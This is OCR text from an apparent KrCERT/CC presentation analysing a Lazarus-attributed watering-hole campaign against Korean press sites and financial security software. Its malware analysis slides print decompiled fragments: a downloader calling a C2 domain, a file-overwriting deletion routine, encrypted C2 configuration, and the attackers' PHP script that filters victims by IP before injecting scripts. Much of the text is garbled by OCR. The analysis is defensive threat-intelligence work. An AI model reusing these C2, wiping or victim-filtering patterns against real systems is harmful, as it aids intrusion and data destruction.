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Key Findings 1. Domino effect

Attacking software developers by abusing previously stolen source code
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Key Findings 1. Domino effect

Injecting subsequent media websites, beginning with the first penetrated media website
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Key Findings 2. Inevitable daily life

O X = Enjoy your lunch
QM 11:38

R CLICK!

https:// I N c\\'S |
article/015/00048709937sid=103

Compromised Press

i

S



Background. Internet Banking in Korea (Abstract)

REN@A L F

S/W Development




Background. Internet Banking in Korea (Abstract)

REN@A L F

S/W Development




Background. Internet Banking in Korea (Abstract)

REN@A L F

[ | |
===l H
| 1]
| |
1]
| ] |

Bank Beta

S/W Development

18



Background. Internet Banking in Korea (Abstract)

REN@A L F

[ | |
===l H
| 1]
| |
1]
| ] |

Bank Beta

S/W Development

n



Background. Internet Banking in Korea (Abstract)

REN@A L F

I

S/W Development

4=



Background. Internet Banking in Korea (Abstract)
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worth & Meaning -

- We must install (vulnerable) software to use internet banking in Korea.
- We feel easy because the attacker points specific targets and they exfiltrate code only.
(wort case) Not targeted watering hole technique & use malwares with destroying systems
- We know that the vulnerable financial software’s source code was exfiltrated by the attacker before.

-  We are about to introduce an important case with vulnerability from now
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Investigation -
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Analysis

0-day

1. Initial Access Techniques
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Analysis

1. Initial Access Techiques
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Analysis -

1. Initial Access Techiques
TCP Socket

+
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Analysis

2. Malware Propagation Techniques
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Analysis

3. Methods of Intrusion into Internal Network
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Analysis

3. Methods of Intrusion into Internal Network
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L azarus Attribution

1. Boot or Logon Autostart Execution: Security Support Provider

2. Network Service Discovery

3. SYSEM Service: Service Execution

4. Proxy : Internal Proxy

5. Exploitation
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Malicious Code Analysis

4 Cases of Malware

ScskApplLink.dll - Downloader, Initial Access

Irmons.dll - Registry Data Decryption and Memory Injection

*proc.sys - Registry Data Decryption and Memory Injection

mi.dll - Encrypted File Decryption and Memory Injection
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Malicious Code Analysis

CASE A

PATH : C:\Users\Public\Libraries\\
Command : rundll32.exe [PATH]\ScskAppLink.dll,

Parameter required for malicious code operation

—=l
—=l
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Malicious Code Analysis
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us Code RAnalysis

SE A ScskAppLink.dll (Pair Set : it does not exist)

memset(C2, 0, sizeof(C2));

memset(c2_path, 0, sizeof(c2_path));

vl = sub_10001CAO("IM-shop.com");

v2 = sub_100025C0(v1);

sprintf_s(C2, 0x10du, v2);

v3 = sub_10001860("/board/news/index.asp?sort=racket");
index_sort_racket = sub_10002560(v3);
sprintf_s(c2_path, 0x104u, index_sort_racket);
http_1000E200(C2, 443, 1, c2_path);
Sleep(6x3039u);

memset(FileName 0, Oxuo2u);

= (sub_ 100@1E60)(L"C \\Users\\Publlc\\lerarles\\SCSKAplenk diliL =)

v6 sub 10002620(v5)

// delete SCSKAppLink.dll
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hFile = CreatéFiieW(lpFiieName 'éicaeeeaao, 3u, 0, 3u, dwFlagsAndAttributes, 0);'

retusn o,
FileSize = GetFileSize(hFile, 0);
if (i%2==1)

{

TickCount = GetTickCount();

srand(TickCount);

for ( j = 0; j < U4096; +j )
Buffer[j] = randQ);

}
else

memset(Buffer, 0, sizeof(Buffer));
while ( FileSize )
{

if ( FileSize = 0x1000 )
v5 = U096;
else
= Eil

I1F C IerteFlle(hFlle Buffer, v5, &NumberOfBytesWritten, 0) ) I

e e Ll Y B P

if C vd )

v3 = (vd4 - Stringl) > 1;
else

v3 = -1;
for ( k =1; k <26; +k)
{

for (m=v3 + 1; m < lstrlenW(String); +m )

if ( String[m] * 46 )
Stringl[m] = k + 65;
}
if ( !'MoveFileW(String, Stringl) )
break;
lstrcpyW(String, Stringl);

| Teturn Deleterilew(string),

| / filename




Malicious Code Analysis

CASE B

PATH : C:\[random path]\
: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts\GiddyupStda Bold
: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts\GiddyupStda

| Reg registry data & RC5 Decrypt
(Configuration info)

Reg registry data & RC5 Decrypt

(RAT)
Memory injection k }] Command & Control —
Exfiltration :
Irmons.dll GuddyupStda Bold Compromised Host

(C&Q)
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Malicious Code Analysis

CASE B
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Malicious Code Analysis -

CASE B

AES Decrypt

Service Name : PCAudit

g20c6guRU3N. BoPm o 7 38 7 ‘ ' / Path : C:WProgram FileswWindows MailWwabimg.dll

HEX ~

00 00 00 00..

C2 : biz**** co.kr/board/wysi/wysi.asp
‘ | ; eledu****.co.kr/mobile/temps/guest/guest.asp
Hox i , : ' m2**** .co.kr/upload/prod/thumb_s/prod.asp

Remove null bytes

If¢dPCAuditC: \Program Files\Windows Mail\wabimg.dll-
Rhttps://www.biz .co.kr/board/wysi/wysi.asphttps://www.eledt .co.kr/mobile/te
mps/guest/guest.asphttps://m2 .co.kr/upload/prod/thumb_s/prod.aspsmx
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Malicious Code Analysis

CASE C

PATH : C:\Window\system32\
: SYSTEM\CurrentControlSet\Servies\eventlog\Application\Regular\

_ Q0
O

I

registry value

AES Decrypt
(Configuration info)

2 : a@;j
Decrypt & Memory injection Command & Control

, : Exfiltration ,
*proc.sys (B|nary in *proc_sys) Compromlsed Host

(C&Q)
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Malicious Code Analysis

CASE D mi.dll ( Pair Set : file list)

PATH : C:\appdata\[random]\wsmprovhost.exe
: C:\appdata\[random]\mi.d!l
: C:\appdata\[random|\[random file name] (encrypted RAT)

Command : wsmprovhost.exe [argument(encrypted Key & RAT File name)]

%? AES Decrypt(Value[AES key: ], Value[ : RAT filename ])

wsmprovhost.exe Compromised Host
: Value = AES Decrypt(Key, argument) (C&C)

Key = MD5(Get ComputerName)

S
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us Code RAnalysis ¢

ﬂ&SE D mi.dll ( Pair Set : file list)

WsmprOVhOSt.exe [argument] ..................................................................................... .

o —— — — — — — — — — e e e

_________________

\ A /
AES Decrypt(Data, KEY)

\/

Inject Memory
(Malicious Code)
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e Target : press, marine industry,
Financial S/W development

e Initial Access:
Watering Hole
Financial security S/W vulnerabilities

» Target : defense industry,
cryptocurrency exchange

¢ Initial Access:

Spear Phishing,
Watering Hole
S/W vulnerabilities

e Target : Hosting company,
Financial S/W development
G/W development

e |nitial Access:
Spear Phishi
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Attribution

Initial Access - Orive by Compromise

Send Spear Phishing Email I—_—I Click the Link =

Victim
4 Target IP Filtering
] &
Redirect

Malware Download
& Execute Exploit Server

Operation BookCodes (2020)
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Attribution

Initial Access - Orive by Compromise

- visit news website

Target IP Filtering

&
Redirect
- Exploitation of Financial Security Software
. Vulnerability for Malicious Code
Exploit Server Download and Execution

Operation GoldGoblin (2823)
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Attribution

Initial Access - Orive by Compromise
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<?php

}

$ip =
$ips =
$ip_b
$ip_c
$ip_d
$ua =

if (in

Operation BookCodes (2020)

$ip_c_

$ip_d_

function GetIP()

if (getenv("HTTP_CLIENT_IP") & strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HITP_CLIENT_IP");

else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))

$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")
$ip = getenv("RENOTE_ADDR");

else if (isset($_SERVER['REMOTE ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "Unknown"))

$ip = $_SERVER[ 'REMOTE_ADDR' ];
else
$ip = "Unknown";

return $ip;

GetIP();

explode('."', $ip);

= md5($ips[@].".".$ips[1].".");

= md5($ips[@].'." .$ips[1].". " .$ips[2]."'.");
= md5($ip);

strtolower($_SERVER[ 'HTTP_USER_AGENT']);

5

Eoy

s_lst = array ('902f

s_lst = array ('4d5t

_array($ip_c, $ip_c_s_Ist) || in_array($ip_d, $ip_d_s lst))

<script src="https:/ wws m. st m ueditor/popup/lib/jquery_min_ui.js"></script>
<script src="https:/ www m. 2w taditor/popup/lib/?idx=90347"></script>

ti3ef’, 57eldocfCARE

REEbe | '27e17a2a¢ "

ot

Operation GoldGoblin (2823)
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Attribution -

Command and Control - Web Service: Bidirectional Communication

Internal Network

Create C&C Page Command Control
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Attribution

Command and Control - Web Service: Bidirectional Communication

: e I 4 R I

! Internet Network Internal Network |

: Command Control

: IIS Setup, : &

| ‘—_—I (=——22) Create C&C Page 'Data Exfiltration
------------ e SR s I e e N [ R RIS =
Initial access _ £ ==k :

' , Server :
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Attribution

Defense Evasion - Masquerading: Match Legitimate Name or Location

IR
DreamJob Cluster(2018)

Bookcodes Cluster (2020)

GoldGoblin Cluster (2023)

Malicious Code Path

C:WProgramDataWadobe
C:WProgramDataWsoftcamp
C:WWindowsWSystem32#[ServiceName].dll

CH#tProgramDatatt
C:WWindowsWSystem32#[ServiceName].dll

C:WProramData?WUSOSharedW
C:WProramDataWpicpick
C:#ProramDataWESTsoftW
C:WProramData#Nugetit
C:WProramDataWintel#
C:WProramDatatssh
C:#ProramDataWMicrosoftWDRMW#
C:WWindowsWSystem32¥#**proc.sys
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Attribution -
DreamJob(DeathNote) Cluster

Substitution Algorithm Communication parameter

= 0;
11; vsprintf_(v9, "%s", "8Rvi4-UPMQVFgjMI3cZF");
* - ) vsprintf_( ", A
sprintf_s( , Ox201ui6d, "%s%s&%s%ks", "type=", , "data=",
sub_1800057F0( , strlen( ), & 5 &v7);

Substitution Algorithm 8 Communication parameter

sub_18000EDA@( V2, \Vio1dpKf02I9wk408AC" ) ;

sub_18000EDA@( V11, )

sprintf_s( , ©x201luie4, V. b s , "contents=",
= sub_180010950( , s

PF(v2l=1)

{
e; BEL_6:
&Substitution_table; if (v3)

i {
while ( *v4 l= *v6 ) = decode("Sqbk9alyT");
{ (v8) (v3);

0;
&Substitution_table;
while ( *v4 != *v6 )
{

++

= Decode_str("My9DHrY6s"); // LocalFree

= ( +1); return 0i64;
if (v5 >= ox40 )
goto LABEL_9; m ), 0, 260);

H }

= ( +1); return 0i64;
if (V5 >= ex4e )

goto LABEL_9;

= *(&Substitution_table + (( - ) & ©x3F)); i >= oxF )

*(&Substitution_table + ((v5 - v3) & Ox3F)); if (V7 >= exF )
* = .
» . memcpy_s( , @x1e4uie4, , OxFuié4);
+ v7) & Ox3F; if ( Ustremp( , "<!DOCTYPE html>") )

{

++v4; = Decode_str("My9DHrY6s"); // LocalFree

>

(v3 + v7) & Ox3F; memcpy_s(Dst, @x104uié4, , OxFuie4);
if ( !strcmp(Dst, "<!DOCTYPE html>") )

{
= decode("Sqbk9alyT");
(va)(v3);

return 1i64;

}

while ( * ) return 1i64;
H
}

return H

} }

return 5 return 0i64;

return 3

}
} goto LABEL_6;
return H }

goto LABEL_6;

CASE B (GiddyupStda Bold_Command page) INCident at a Cryptocurrency Exchange (2818)

KA

KrCERT/CC
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Attribution -
FALLCHILL Cluster

FALLCHILL (RC4) - CISA (2017) FALLCHILL (AES) — KrCERT (2018)
Encrypt configuration RC4+XOR AES
String
Command Encrypt RC4+XOR AES+BASE64
Protocal Fake TLS (TLS 1.0, TLS 1.2) HTTP, TLS 1.0
Malware Version 2.3 ,x86_3.0 x86_1.0, x64 1.0
Command ID OxFF34 ~ OxFF56 OxFF31 ~ OxFF5D

configuration Location | SYSTEMWCurrentControlSetWservicestWeventlogWApplicationWConfig | SYSTEMWCurrentControlSettservicesteventlog#ApplicationWConf
SYSTEM¥#CurrentControlSetWservicesteventlog#tApplication¥Config

Malware Name Confirm Malware Version Configuration Location

FALLCHILL (RC4) CISA('17) 2.3, SYSTEM¥#CurrentControlSetWservicestteventlog#Application¥

FALLCHILL (AES) KISA('18) SYSTEM¥#CurrentControlSetWservicestteventlog#Application¥
KISA('21~23) SYSTEM¥#CurrentControlSetWservicestteventlog#Application¥

=17




Attribution -
FALLCHILL Cluster

= GetTickCount();
3 = GetTickCount_0(); srand(vl);
srand(v13);
for ( t = 9164; t < 16; ++

{
> = rand();
if (vi5 == 3 * (vi5 / 3) )
{

}

» = v15 % 10 + 48;

else if 15 % 3 ==1 )

5 % 26 + 97;

5 % 26 + 65;

16byte Key Generate RAlgorithm 1Bbyte Key Generate RAlgorithm
GoldGoblin — CASE C FRALLCHILL-RAES

S1




e Target : press, marine industry,
Financial S/W development

e Initial Access:
Watering Hole
Financial security S/W vulnerabilities

» Target : defense industry,
cryptocurrency exchange

¢ Initial Access:

Spear Phishing,
Watering Hole
S/W vulnerabilities

e Target : Hosting company,
Financial S/W development
G/W development

e |nitial Access:
Spear Phishi
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Thank You

SEULGI LEE (KrCERT/CC) sglee@kisa.or.kr
DONGWOOK KIM (KrCERT/CC) kimdw777 @kisa.or.kr.
TAEWOO LEE (KrCERT/CC) heavyrain@kisa.or.kr



